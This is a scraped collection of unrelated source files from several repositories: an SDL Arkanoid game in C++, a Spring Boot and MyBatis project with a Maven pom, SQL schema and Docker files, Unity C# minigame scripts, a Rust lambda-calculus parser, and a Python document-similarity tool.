error << endl; } return 0; }<file_sep>#include "ArkanoidObject.h" ArkanoidObject::ArkanoidObject(){ } ArkanoidObject::~ArkanoidObject(){ } void ArkanoidObject::saveToFile(ofstream &file) { file << position.getX() << " " << position.getY() << " "; } void ArkanoidObject::loadFromFile(ifstream &file) { double x, y; file >> x >> y; position.setX(x); position.setY(y); } <file_sep>#pragma once #include "SDL.h" // Windows using namespace std; // ------------------ type definitions --------------------------------------------------- struct TextureAttributes { string filename; unsigned int cols; unsigned int rows; }; // added the underscores to avoid mixing them with the variables enum TextureNames { ball_, bricks, paddle_, sideWall, topWall, rewards, buttons, instructions, menuNumbers, endmenuTextures }; // ---------------------- constants ----------------------------------------------------- const unsigned int WALL_THICKNESS = 20; const unsigned int STANDARD_CELL_WIDTH = 60; const unsigned int STANDARD_CELL_HEIGHT = 20; const unsigned int STANDARD_BUTTON_WIDTH = 200; const unsigned int STANDARD_BUTTON_HEIGHT = 75; const unsigned int STANDARD_BUTTON_X = 300; const double MAKE_PADDLE_BIGGER = 1.25; const double MAKE_PADDLE_SMALLER = 0.75; const unsigned int MAX_PADDLE_WIDTH = 120; const unsigned int MIN_PADDLE_WIDTH = 25; const unsigned int WIN_WIDTH = 800; const unsigned int WIN_HEIGHT = 600; const unsigned int WIN_X = SDL_WINDOWPOS_CENTERED; const unsigned int WIN_Y = SDL_WINDOWPOS_CENTERED; const SDL_Rect FULL_WINDOW_RECT = { 0, 0, WIN_WIDTH, WIN_HEIGHT }; const unsigned int NUM_TEXTURES = 10; const unsigned int NUM_WALLS = 3; const unsigned int DELAY = 60; const unsigned int MILLISECONDS_IN_A_TICK = 1000; const string IMAGES_PATH = "images\\"; const TextureAttributes TEXTURE_ATTRIBUTES[NUM_TEXTURES] = { { "ball.png", 1, 1 }, { "bricks.png", 3, 2 }, { "paddle.png", 1, 1 }, { "side.png", 1, 1 }, { "topSide.png", 1, 1 }, { "rewards.png", 8, 10}, { "buttons.png", 1, 6}, { "instructions.png", 1, 1}, { "menuNumbers.png", 10, 1}, { "endmenu.png", 1, 2} }; const string LEVELS_PATH = "levels\\"; const string LEVEL_SHARED_NAME = "level0"; const string LEVEL_EXTENSION = ".ark"; const string SAVE_EXTENSION = ".ark"; const unsigned int MAX_LEVEL = 3; const unsigned int MAX_LIVES = 5; #pragma once <file_sep>#include "InfoBar.h" #include "Game.h" #include "PlayState.h" InfoBar::InfoBar (Game *gamePtr, PlayState *playStatePtr) { game = gamePtr; playState = playStatePtr; mapWidth = playState->getMapWidth (); position.setX (0); position.setY (playState->getMapHeight () - cellHeight); loadTextures (); } InfoBar::~InfoBar () { game = nullptr; delete textures[TextureTypes::numbers]; textures[TextureTypes::numbers] = nullptr; delete textures[TextureTypes::level]; textures[TextureTypes::level] = nullptr; delete textures[TextureTypes::lives]; textures[TextureTypes::lives] = nullptr; } void InfoBar::loadTextures () { textures[TextureTypes::numbers] = new Texture (game->getRenderer (), TEXTURE_NAME_NUMBERS, 1, 11); textures[TextureTypes::level] = new Texture (game->getRenderer (), TEXTURE_NAME_LEVEL); textures[TextureTypes::lives] = new Texture (game->getRenderer (), TEXTURE_NAME_LIVES); } void InfoBar::render (uint seconds, uint minutes, uint currentLevel, uint lives) { uint cellWidth = mapWidth / N_DIVISIONS; SDL_Rect destRect { position.getX (), position.getY (), cellWidth, cellHeight }; // renders the time with format M M : S S textures[TextureTypes::numbers]->renderFrame (destRect, 0, minutes / 10); // renders the first digit (minutes) destRect.x += cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, minutes % 10); // renders the last digit (minutes) destRect.x += cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, 10); // renders the : destRect.x += cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, seconds / 10); // renders the first digit (seconds) destRect.x += cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, seconds % 10); // renders the last digit (seconds) destRect.x += cellWidth * 3; // renders the level info with format Level 0x destRect.w = cellWidth * 4; textures[TextureTypes::level]->render (destRect); destRect.x += cellWidth * 4; destRect.w = cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, currentLevel / 10); // renders the first digit (level) destRect.x += cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, currentLevel % 10); // renders the last digit (level) destRect.x += cellWidth * 2; // renders the lives info with format Lives x destRect.w = cellWidth * 4; textures[TextureTypes::lives]->render (destRect); destRect.x += cellWidth * 4; destRect.w = cellWidth; textures[TextureTypes::numbers]->renderFrame (destRect, 0, lives % 10); // renders the last digit (level) } <file_sep>#include "Button.h" Button::Button(Game *gamePtr, Vector2D pos, CallBackOnClick cb, Texture *text, uint r) { double x = pos.getX (); double y = pos.getY (); game = gamePtr; position.setX (x); position.setY (y); callback = cb; texture = text; width = STANDARD_BUTTON_WIDTH; height = STANDARD_BUTTON_HEIGHT; row = r; } Button::~Button() { game = nullptr; } bool Button::handleEvents(SDL_Event &e) { int mouseX, mouseY; bool click = false; if (e.type == SDL_MOUSEBUTTONUP) { SDL_GetMouseState (&mouseX, &mouseY); if (mouseX > int (position.getX ()) && mouseX < int (position.getX () + width) && mouseY > int (position.getY ()) && mouseY < int (position.getY () + height)) { click = true; callback (game); } } return click; } void Button::render () { texture->renderFrame (getRect (), row, col); }
9e7a54449d0792a5f2d19ea9ab8ccc9125a061fa
[ "C++" ]
47
C++
bSolla/TPV-P3
d0d2924b81dd12361583149625a1fbd1d5cb253f
0a86bafc36df780b40175a2d6b00ff02c51c33d6
refs/heads/master
<repo_name>giorgospetkakis/diary-game-unity<file_sep>/Assets/Scripts/minis-misc/SandwichIngredientAccept.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class SandwichIngredientAccept : MonoBehaviour { public int breadCount, sThresh; public int sandwichCount; public GameObject GameManager; ArrayList ingredientStack; public SandwichSoundCue ssc; public Text t; void Start() { GameManager = GameObject.Find("GameManager"); ingredientStack = new ArrayList(); sThresh = 2; } public void addIngredientToStack(GameObject ing){ ssc.add(); ing.GetComponent<Collider2D>().enabled = false; GameObject temp = Instantiate(ing, gameObject.transform.position, Quaternion.Euler(0,0,Random.Range(-30, 30))) as GameObject; ingredientStack.Add(temp); if(ing.tag == "Bread") breadCount++; if(breadCount == 2) { ssc.complete(); foreach(GameObject i in ingredientStack) { Destroy(i); } breadCount = 0; sandwichCount++; } if(sandwichCount > sThresh) { GameManager.GetComponent<EventQueue>().runLineQueueMini(); sThresh++; } t.text = "" + sandwichCount; } } <file_sep>/Assets/Scripts/core/Events.cs using UnityEngine; public class Events : MonoBehaviour { EventQueue q; int lineBlockIndex; int[] blockSize; // Use this for initialization void Start () { q = GetComponent<EventQueue>(); blockSize = new int[] {34}; lineBlockIndex = 0; q.loadNextCutScene(); } // Update is called once per frame void Update () { // INTRODUCTION if(q.linesSinceCheckpoint == blockSize[lineBlockIndex]) { q.despawnCutscene(); q.loadNextMiniGame(); q.setLineCheckpoint(); } } void moveToNextBlock() { lineBlockIndex++; } } <file_sep>/Assets/Scripts/text/TextCue.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class TextCue : MonoBehaviour { ArrayList history; Queue<string> cuedText; Text t; int linesOnCurrent = 0; // Use this for initialization void Awake () { cuedText = FileReader.getScript(); history = new ArrayList(); t = GetComponent<Text>(); } public string showNextLine() { string line = ""; if(cuedText.Count > 0) { if(linesOnCurrent > 0) { clearPanel(); } line = cuedText.Peek(); cuedText.Dequeue(); t.text = t.text + line; linesOnCurrent++; } return line; } public void clearPanel() { history.Add(new string (t.text.ToCharArray())); t.text = ""; linesOnCurrent = 0; } } <file_sep>/Assets/Scripts/core/CutsceneMngr.cs using UnityEngine; public class CutsceneMngr : MonoBehaviour { public GameObject[] backdrops; public GameObject currBackdrop; public void LoadBackdrop(int num){ if(backdrops[num]) currBackdrop = backdrops[num]; currBackdrop = Instantiate(currBackdrop) as GameObject; } public void DespawnBackdrop(){ Destroy(currBackdrop); } }<file_sep>/Assets/Scripts/minis-misc/ProjectileCollisionDeath.cs using UnityEngine; public class ProjectileCollisionDeath : MonoBehaviour { public int maxCollisions = 4; int collisions; // Use this for initialization void Start () { collisions = 0; } // Update is called once per frame void Update () { if(collisions > maxCollisions) { Destroy(gameObject); } } void OnCollisionEnter2D(Collision2D col){ collisions += 1; } } <file_sep>/Assets/Scripts/text/FileReader.cs using System.Collections.Generic; using System.IO; using UnityEngine; public class FileReader { static string filename = "script.txt"; static Queue<string> scriptSequence = new Queue<string>(); public static Queue<string> getScript(){ StreamReader sr = new StreamReader(Application.dataPath + "/" + filename); string contents = sr.ReadToEnd(); sr.Close(); string[] split = contents.Split('_'); for(int i = 0; i < split.Length; i++){ scriptSequence.Enqueue(split[i]); } return scriptSequence; } } <file_sep>/Assets/Scripts/core/TransitionController.cs using UnityEngine; public class TransitionController : MonoBehaviour { bool inTransition; // Use this for initialization void Start () { inTransition = true; } // Update is called once per frame void Update () { if (inTransition) { if (Input.GetMouseButtonDown(0)) { GetComponent<EventQueue>().runLineQueue(); } } } public void setTransitionStatus(bool status) { inTransition = status; } } <file_sep>/Assets/Scripts/minis/SandwichMini.cs using UnityEngine; public class SandwichMini : MiniGame { public Sprite[] Ingredients; public GameObject[] IngredientSpawnPoints; public override void init(){ } public override void begin() { for (int i = 0; i < Ingredients.Length; i++) { IngredientSpawnPoints[i].GetComponent<SpriteRenderer>().sprite = Ingredients[i]; } } } <file_sep>/Assets/Scripts/minis/SlingshotMini.cs using UnityEngine; public class SlingshotMini : MiniGame { public GameObject projectile; public Transform projectiles; public Transform sling; public float speed; Vector2 endPoint; Vector2 startPoint; float startTime; float releaseTime; float maxTime; public override void init() { speed = 250f; startPoint = new Vector2(int.MaxValue, 0); maxTime = 1.5f; } public override void begin() { } void OnMouseDrag() { if(startPoint.x == int.MaxValue) { startPoint = Input.mousePosition; startTime = Time.time; } endPoint = Input.mousePosition; releaseTime = Time.time; } void OnMouseUp() { if(startPoint.x != endPoint.x && startPoint.y != endPoint.y && startPoint.x != int.MaxValue) { Debug.Log(maxTime / (releaseTime - startTime)); float scale = Mathf.Min(2f, (releaseTime - startTime) / (maxTime / 2f)); Vector2 release = (startPoint - endPoint).normalized * speed; GameObject temp_projectile = Instantiate(projectile, sling.position, Quaternion.identity) as GameObject; temp_projectile.transform.parent = projectiles; temp_projectile.transform.localScale = new Vector3(scale, scale, scale); temp_projectile.GetComponent<Rigidbody2D>().AddForce(release); startPoint = new Vector2(int.MaxValue, 0); } } } <file_sep>/Assets/Scripts/core/EventQueue.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class EventQueue : MonoBehaviour { public TextCue NarrationTextFeed; public int linesSinceCheckpoint = 0; int lastMini = 0, lastCutScene = 0; public void runLineQueue() { NarrationTextFeed.showNextLine(); linesSinceCheckpoint++; } public void runLineQueueMini() { NarrationTextFeed.showNextLine(); } public void loadNextMiniGame() { GetComponent<MiniGameMngr>().LoadMiniGame(lastMini++); GetComponent<TransitionController>().setTransitionStatus(false); } public void finishMiniGame() { GetComponent<MiniGameMngr>().DespawnMini(); GetComponent<TransitionController>().setTransitionStatus(true); } public void loadNextCutScene() { GetComponent<CutsceneMngr>().LoadBackdrop(lastCutScene++); } public void despawnCutscene() { GetComponent<CutsceneMngr>().DespawnBackdrop(); } public void setLineCheckpoint() { linesSinceCheckpoint = 0; } } <file_sep>/Assets/Scripts/minis-misc/SandwichSoundCue.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class SandwichSoundCue : MonoBehaviour { public AudioClip[] sounds; AudioSource source; bool ja; // Use this for initialization void Start () { source = GetComponent<AudioSource>(); } public void drop() { if(!ja){ source.clip = sounds [0]; source.Play(); } ja = false; } public void complete() { source.clip = sounds[1]; source.Play(); } public void add() { source.clip = sounds[2]; source.Play(); ja = true; } } <file_sep>/Assets/Scripts/core/MiniGameMngr.cs using UnityEngine; using UnityEngine.UI; public class MiniGameMngr : MonoBehaviour { public GameObject [] minigames; private MiniGame currMini; private GameObject currMiniHolder; public GameObject miniGameHolder; public void LoadMiniGame(int mIndex) { if (mIndex < minigames.Length) { // Find minigame in array currMini = minigames[mIndex].GetComponent<MiniGame>(); currMiniHolder = Instantiate(currMini.gameObject) as GameObject; currMiniHolder.transform.parent = miniGameHolder.transform; currMini.init(); currMini.begin(); Debug.Log("Minigame " + mIndex + " loaded"); } else { Debug.Log("Minigame index " + mIndex + " is out of bounds"); } } public void DespawnMini() { Destroy(currMiniHolder); } // Use this for initialization void Start () { } }<file_sep>/Assets/Scripts/Env/CandleFlicker.cs using UnityEngine; public class CandleFlicker : MonoBehaviour { // Use this for initialization void Start () { } // Update is called once per frame void FixedUpdate () { float i = GetComponent<Light>().intensity; GetComponent<Light>().intensity = Mathf.Max(1.3f, (Mathf.Min ( 1.8f, Mathf.Lerp(i, i + Random.Range(-0.2f,0.2f), 0.1f)))); } } <file_sep>/Assets/Scripts/minis-misc/DragIngredients.cs using UnityEngine; public class DragIngredients : MonoBehaviour { GameObject extra; public GameObject Mini; public Collider2D SandwichMakeArea, SandwichDropArea; public SandwichSoundCue ssc; void OnMouseDrag() { if(!extra) { extra = Instantiate(gameObject, transform.position, Quaternion.identity) as GameObject; extra.transform.parent = Mini.transform; } GetComponent<SpriteRenderer>().color = new Color(0.9f,0.9f,0.9f); RaycastHit hit; Ray ray = Camera.main.ScreenPointToRay(Input.mousePosition); if (Physics.Raycast(ray, out hit)) { extra.transform.position = hit.point; } } void OnMouseUp() { Destroy(extra); ssc.drop(); GetComponent<SpriteRenderer>().color = Color.white; } void OnTriggerEnter2D(Collider2D col){ if (col == SandwichMakeArea) { SandwichMakeArea.GetComponent<SandwichIngredientAccept>().addIngredientToStack(gameObject); } } }
0c28ea555bf828ba58c7a46db91766b29d1bfb90
[ "C#" ]
14
C#
giorgospetkakis/diary-game-unity
acf267d61125dd9b2d948bfb997c2ef24d30e1d0
f62acd6c431eb3174dd3d9dc4e52cea4088b61ac
refs/heads/master
<file_sep><?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.1.RELEASE</version> </parent> <name>springboot-quickstart</name> <artifactId>springboot-quickstart</artifactId> <packaging>jar</packaging> <properties> <spring-boot.version>2.1.1.RELEASE</spring-boot.version> <docker.image.prefix>springboot</docker.image.prefix> </properties> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>${spring-boot.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <!-- web --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <!-- freemarker --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-freemarker</artifactId> </dependency> <!--DB--> <!--mybatis--> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>1.3.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <!--<version>8.0.13</version>--> <version>6.0.6</version> </dependency> <!-- https://mvnrepository.com/artifact/org.projectlombok/lombok --> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.18.2</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis-spring</artifactId> <version>1.3.1</version> </dependency> <!-- https://mvnrepository.com/artifact/com.google.code.gson/gson --> <dependency> <groupId>com.google.code.gson</groupId> <artifactId>gson</artifactId> <version>2.8.5</version> </dependency> <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper</artifactId> <version>5.1.2</version> </dependency> <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-core</artifactId> <version>5.1.1.RELEASE</version> </dependency> <!--&lt;!&ndash; https://mvnrepository.com/artifact/com.github.pagehelper/pagehelper-spring-boot-starter &ndash;&gt;--> <!--<dependency>--> <!--<groupId>com.github.pagehelper</groupId>--> <!--<artifactId>pagehelper-spring-boot-starter</artifactId>--> <!--<version>1.2.3</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.springframework</groupId>--> <!--<artifactId>spring-tx</artifactId>--> <!--<version>5.1.1.RELEASE</version>--> <!--</dependency>--> </dependencies> <build> <defaultGoal>compile</defaultGoal> <plugins> <plugin> <groupId>com.spotify</groupId> <artifactId>docker-maven-plugin</artifactId> <version>1.0.0</version> <configuration> <!--<repository>${docker.image.prefix}/${project.artifactId}</repository>--> <serverId>docker-hub</serverId> <imageName>${docker.image.prefix}/${project.artifactId}</imageName> <dockerDirectory>${project.basedir}/src/main/docker</dockerDirectory> <resources> <resource> <targetPath>/</targetPath> <directory>${project.build.directory}</directory> <include>${project.build.finalName}.jar</include> </resource> </resources> </configuration> </plugin> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>${spring-boot.version}</version> <!--<executions>--> <!--<execution>--> <!--<goals>--> <!--<goal>repackage</goal>--> <!--</goals>--> <!--</execution>--> <!--</executions>--> <configuration> <fork>true</fork> </configuration> </plugin> <plugin> <groupId>org.mybatis.generator</groupId> <artifactId>mybatis-generator-maven-plugin</artifactId> <version>1.3.5</version> <configuration> <configurationFile> <!--这里是配置generatorConfig.xml的路径 不写默认在resources目录下找generatorConfig.xml文件 --> </configurationFile> <verbose>true</verbose> <overwrite>true</overwrite> </configuration> <dependencies> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <!--<version>8.0.11</version>--> <version>6.0.6</version> </dependency> </dependencies> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>3.0.0</version> <configuration> <failOnMissingWebXml>false</failOnMissingWebXml> </configuration> </plugin> </plugins> </build> </project><file_sep>package com.example.quickstart.service; import com.example.quickstart.core.result.ReturnT; import com.example.quickstart.core.model.UserInfo; public interface UserService { public ReturnT<UserInfo> findUser(String username, String password); void initSSOUser(); } <file_sep>package com.example.quickstart.config; public enum ParamsUserType { ENTERPRISE(1, "企业用户"), PERSONAL(2, "个人用户"); private Integer id; private String value; private Integer code; private String name; ParamsUserType(Integer code, String name) { this.code = code; this.name = name; } public Integer getCode() { return code; } public String getName() { return name; } public static ParamsUserType getByCode(Integer code) { for (ParamsUserType item : ParamsUserType.values()) { if (item.getCode().equals(code)) { return item; } } return null; } } <file_sep>###运行程序 使用Maven - 编译 ```java mvn package ``` - 运行 ```java java -jar target/greenland-sso-server-1.0.0-SNAPSHOT.war ``` ## <file_sep>package com.example.quickstart.service.vo; import lombok.Data; @Data public class LoginVO { private String userId; private String password; } <file_sep>version: '3' services: redis: container_name: redis image: redis ports: - "6379:6379" expose: - "6379" mysql: container_name: mysql image: mysql/mysql-server:latest environment: MYSQL_DATABASE: greenland MYSQL_ROOT_PASSWORD: <PASSWORD> MYSQL_ROOT_HOST: '%' ports: - "3306:3306" restart: always web: container_name: greenland build: . ports: - "8081:8081" expose: - 8081 links: - mysql - redis depends_on: - mysql - redis command: mvn clean spring-boot:run -Dspring-boot.run.profiles=docker<file_sep>package com.example.quickstart.dao; import com.example.quickstart.dao.po.UserSso; import com.example.quickstart.dao.po.UserSsoExample; import java.util.List; import org.apache.ibatis.annotations.Param; public interface UserSsoMapper { long countByExample(UserSsoExample example); int insert(UserSso record); int insertSelective(UserSso record); List<UserSso> selectByExample(UserSsoExample example); int updateByExampleSelective(@Param("record") UserSso record, @Param("example") UserSsoExample example); int updateByExample(@Param("record") UserSso record, @Param("example") UserSsoExample example); }<file_sep># springboot-quickstart <file_sep>/* Navicat Premium Data Transfer Source Server : greenland Source Server Type : MySQL Source Server Version : 50724 Source Host : localhost:3306 Source Schema : greenland Target Server Type : MySQL Target Server Version : 50724 File Encoding : 65001 Date: 05/12/2018 17:20:46 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for user_basic -- ---------------------------- DROP TABLE IF EXISTS `user_basic`; CREATE TABLE `user_basic` ( `id` bigint(18) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `name` varchar(255) DEFAULT NULL COMMENT '用户名', `email` varchar(255) DEFAULT NULL COMMENT '邮件地址', `phone` varchar(255) DEFAULT NULL COMMENT '电话号码', `public_addr` varchar(255) DEFAULT NULL COMMENT '住址', `is_delete` tinyint(4) NOT NULL COMMENT '0 : 未删除 1:删除', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; -- ---------------------------- -- Table structure for user_sso -- ---------------------------- DROP TABLE IF EXISTS `user_sso`; CREATE TABLE `user_sso` ( `id` bigint(18) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `user_id` bigint(18) NOT NULL COMMENT '用户ID', `password` varchar(255) DEFAULT NULL COMMENT '密码', `create_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '添加时间', `update_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; SET FOREIGN_KEY_CHECKS = 1; <file_sep>#FROM tomcat:9.0 #COPY target/greenland-sso-server-1.0.0-SNAPSHOT.war /usr/local/tomcat/webapps #ENV JAVA_OPTS -Djava.security.egd=file:/dev/./urandom #USER root #EXPOSE 8081 #CMD ["catalina.sh", "run"] # #FROM frolvlad/alpine-oraclejdk8:slim #VOLUME /tmp #ADD greenland-sso-server-1.0.0-SNAPSHOT.jar app.jar #ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"] FROM frolvlad/alpine-oraclejdk8:slim VOLUME /tmp ADD greenland-sso-server-1.0.0-SNAPSHOT.jar greenland-sso.jar RUN sh -c 'touch /greenland-sso.jar' ENV JAVA_OPTS="" EXPOSE 8081 ENTRYPOINT [ "sh", "-c", "java $JAVA_OPTS -Djava.security.egd=file:/dev/./urandom -jar /greenland-sso.jar" ] <file_sep>package com.example.quickstart.dao.po; public class UserBasic { private Long id; private String name; private String email; private String phone; private String publicAddr; private Byte isDelete; public UserBasic(Long id, String name, String email, String phone, String publicAddr, Byte isDelete) { this.id = id; this.name = name; this.email = email; this.phone = phone; this.publicAddr = publicAddr; this.isDelete = isDelete; } public UserBasic() { super(); } public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public String getPublicAddr() { return publicAddr; } public void setPublicAddr(String publicAddr) { this.publicAddr = publicAddr; } public Byte getIsDelete() { return isDelete; } public void setIsDelete(Byte isDelete) { this.isDelete = isDelete; } }
84075bab6da8bad053ad154da1b51c8bbfb6219d
[ "SQL", "YAML", "Markdown", "Maven POM", "Java", "Dockerfile" ]
11
Maven POM
edgeowner/springboot-quickstart
c2db067a492cff03edb82e28255a698ba8e7b958
cc3311ba4a7d698d397291cab3effd8478d30abe
refs/heads/master
<file_sep>use std::vec::IntoIter; enum Token { Lambda, Dot, Ident(String), } fn ident(s: &str) -> Token { Token::Ident(s.to_string()) } #[derive(Clone, Debug, PartialEq)] enum Term { Abs(Box<Term>), App(Box<Term>, Box<Term>), Var(usize, String), } fn abs(t: Term) -> Term { Term::Abs(Box::new(t)) } fn app(t1: Term, t2: Term) -> Term { Term::App(Box::new(t1), Box::new(t2)) } fn var(n: usize, s: &str) -> Term { Term::Var(n, s.to_string()) } fn parse(v: Vec<Token>) -> Option<Term> { Parser { ts: v.into_iter(), ctx: Vec::new(), }.parse1() } struct Parser { ts: IntoIter<Token>, ctx: Vec<String>, } impl Parser { fn parse1(&mut self) -> Option<Term> { use self::Token::*; match self.ts.next()? { Lambda => self.parse_abs(), Ident(s) => { let t = self.string_to_var(s)?; self.parse_app(t) } _ => None, } } fn parse_app(&mut self, t: Term) -> Option<Term> { use self::Token::*; match self.ts.next() { None => Some(t), Some(Ident(s)) => { let x = app(t, self.string_to_var(s)?); self.parse_app(x) } Some(Lambda) => { let x = app(t, self.parse_abs()?); self.parse_app(x) } _ => None, } } fn string_to_var(&mut self, s: String) -> Option<Term> { Some(Term::Var(self.ctx.iter().rev().position(|x| x == &s)?, s)) } fn parse_abs(&mut self) -> Option<Term> { use self::Token::*; match self.ts.next()? { Ident(s) => match self.ts.next()? { Dot => { self.ctx.push(s); self.parse1().map(|t| abs(t)) } _ => None, }, _ => None, } } } impl Term { fn map<F>(&mut self, f: &F, c: usize) where F: Fn(usize, usize, String, &mut Term), { use self::Term::*; match self { &mut Var(n, _) => { let s = match self { &mut Var(_, ref s) => s.clone(), _ => unreachable!(), }; f(c, n, s, self) } &mut Abs(ref mut t) => t.map(f, c + 1), &mut App(ref mut t1, ref mut t2) => { t1.map(f, c + 1); t2.map(f, c + 1); } } } fn shift_above(&mut self, c: usize, d: isize) { let f = |c, n, s: String, t: &mut Term| { if c <= n { *t = Term::Var((n as isize + d) as usize, s); } }; self.map(&f, c); } /// Shifts free variables by `d`. fn shift(&mut self, d: isize) { self.shift_above(0, d); } fn subst(&mut self, j: usize, t: Term) { let f = |c, n, _, t0: &mut Term| { if c + j == n { let mut t = t.clone(); t.shift(c as isize); *t0 = t; } }; self.map(&f, 0); } /// Substitutes `t` for the variables `0` in `self`, assuming `t` is under a context whose /// length is one more than `self`'s context. fn subst_top(&mut self, mut t: Term) { t.shift(1); self.subst(0, t); self.shift(-1); } } #[cfg(test)] mod tests { use super::*; #[test] fn test_parse() { use self::Token::*; let ts = vec![ Lambda, ident("x"), Dot, ident("x"), Lambda, ident("y"), Dot, ident("y"), ident("x"), ]; assert_eq!( parse(ts), Some(abs(app(var(0, "x"), abs(app(var(0, "y"), var(1, "x")))))) ); let ts = vec![Lambda, ident("x"), Dot, ident("x"), ident("x"), ident("x")]; assert_eq!( parse(ts), Some(abs(app(app(var(0, "x"), var(0, "x")), var(0, "x")))) ); } #[test] fn test_shift_closed_term() { let mut t = abs(app(var(0, "x"), abs(app(var(0, "y"), var(1, "x"))))); let t0 = t.clone(); t.shift(0); assert_eq!(t, t0); t.shift(1); assert_eq!(t, t0); let mut t = abs(app(app(var(0, "x"), var(0, "x")), var(0, "x"))); let t0 = t.clone(); t.shift(10); assert_eq!(t, t0); } #[test] fn test_shift() { let mut t = var(0, "x"); let t0 = t.clone(); t.shift(0); assert_eq!(t, t0); t.shift(1); assert_eq!(t, var(1, "x")); } } <file_sep># Parse and Substitution Efficiently parse tokens into λ-calculus with de Bruijn index.
58c3a043fa03e9d910eb75e671965eb0592d0b43
[ "Markdown", "Rust" ]
2
Rust
elpinal/parse-and-substitution
314bd7b95c86fa7ef21afc06f959b1d9754f9f68
b4135561a07911462bfa56becf383cb2ce62f95c
refs/heads/master
<repo_name>alexeukylik/sliderEs5<file_sep>/index.js // var slider = Object.create(Slider) Slider.start(); Slider.SendGet(AjaxReqvest); // Slider.start(); // AjaxReqvest.SendGet();
da1a9d7f0018dc39831585d5b8516f244ae3b387
[ "JavaScript" ]
1
JavaScript
alexeukylik/sliderEs5
d8fc522b6b012f3ea5e4d30214fdc0d4f982771a
af07fb99781a051e959492b8d42163ea5bc0a48f
refs/heads/master
<repo_name>AndreySuvorov1234/CompareDocApp<file_sep>/Driver/docCompare1.py from Driver import difflib import docx class DocCompare: def __init__(self, doc1=False, doc2=False): self.docPath1 = doc1 self.docPath2 = doc2 self.text1 = "" self.text2 = "" self.text1_words = "" self.text2_words = "" self.comparison = float(0) def loadDocs(self, path1=False, path2=False): success = False if path1: self.docPath1 = path1 success = True if path2: self.docPath2 = path2 success = True return success def loadText(self, stext1=False, stext2=False): success = False if stext1: self.text1_words = stext1.split() success = True if stext2: self.text2_words = stext2.split() success = True return success def parseDocs(self): if self.docPath1 and self.docPath2: ext1 = self.docPath1.split(".")[-1] ext2 = self.docPath2.split(".")[-1] if (ext1 == "doc" or ext1 == "docx") and (ext2 == "doc" or ext2 == "docx"): self.openWordFiles() elif ext1 == "txt" and ext2 == "txt": self.openTextFiles() success = self.loadText(self.text1, self.text2) return success else: return False def openTextFiles(self): docA = open(self.docPath1, "r") self.text1 = docA.read() docB = open(self.docPath2, "r") self.text2 = docB.read() def openWordFiles(self): doc1 = docx.Document(self.docPath1) textList1 = [para.text for para in doc1.paragraphs] self.text1 = "\n".join(textList1) doc2 = docx.Document(self.docPath2) textList2 = [para.text for para in doc2.paragraphs] self.text2 = "\n".join(textList2) def compareDocs(self): if self.text1_words and self.text2_words: result = difflib.SequenceMatcher(None, self.text1_words, self.text2_words).ratio() self.comparison = result return True else: return False def run(self): self.parseDocs() self.compareDocs() def lastComparison(self): return self.comparison # # import time # comparison = DocCompare("C:/Users/Andrey/PycharmProjects/CompareDocs/SampleComparisonDocs/Doc1.txt", "C:/Users/Andrey/PycharmProjects/CompareDocs/SampleComparisonDocs/Doc2.txt") # comparison = DocCompare("C:/Users/Andrey/OneDrive/resume2.docx", "C:/Users/Andrey/OneDrive/resume.docx") # # print(comparison.docPath1) # start = time.time() # print(start) # comparison.run() # end = time.time() # print(end-start) # print(comparison.lastComparison()) # print(comparison.docPath1) # print(comparison.docPath2) # print(comparison.text1) # print(comparison.text2) # 